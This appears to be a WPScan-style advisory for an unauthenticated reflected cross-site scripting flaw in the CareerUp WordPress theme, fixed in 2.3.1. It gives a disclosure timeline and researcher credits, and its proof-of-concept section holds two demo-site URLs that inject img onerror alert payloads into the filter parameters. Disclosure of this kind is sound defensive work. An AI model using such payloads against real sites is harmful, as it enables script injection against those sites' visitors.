Themes Vulnerabilities

CareerUp < 2.3.1 - Unauthenticated Reflected Cross-Site Scripting

Description

There are unauthenticated reflected Cross-Site Scripting (XSS) vulnerabilities in CareerUp theme, via the filter parameters.

Edit (WPScanTeam)
May 27th, 2020 - Vendor Contacted by Original Submitter.
May 29th, 2020 - v2.3.0 Released. Unclear if issue fixed.
June 18th, 2020 - Another submitter (Vlad Vector) reported the same issue. Report escalated to Envato
June 18th, 2020 - v2.3.1 released. Issue confirmed to be fixed.

Proof of Concept

https://apusthemes.com/wp-demo/careerup/jobs/?filter-title=%22%3E%3Cimg+src%3Dx+onerror%3Dalert%281%29%3E&filter-center-location=&filter-center-latitude=&filter-center-longitude=&filter-distance=50

https://apusthemes.com/wp-demo/careerup/jobs/?filter-title=%22%3E%3Cimg%20src=x%20onerror=alert(`XSS`)%3E&filter-center-location=%22%3E%3Cimg%20src=x%20onerror=alert(`XSS2`)%3E&filter-distance=%22%3E%3Cimg%20src=x%20onerror=alert(`XSS3`)%3E

Affects Themes

Fixed in 2.3.1

References

Classification

Type
XSS
CWE

Miscellaneous

Original Researcher
Daniel Ruf, Vlad Vector
Submitter
Daniel Ruf
Submitter website
Submitter twitter
Verified
Yes

Timeline

Publicly Published
2020-07-03 (about 3 years ago)
Added
2020-07-03 (about 3 years ago)
Last Updated
2022-04-08 (about 2 years ago)

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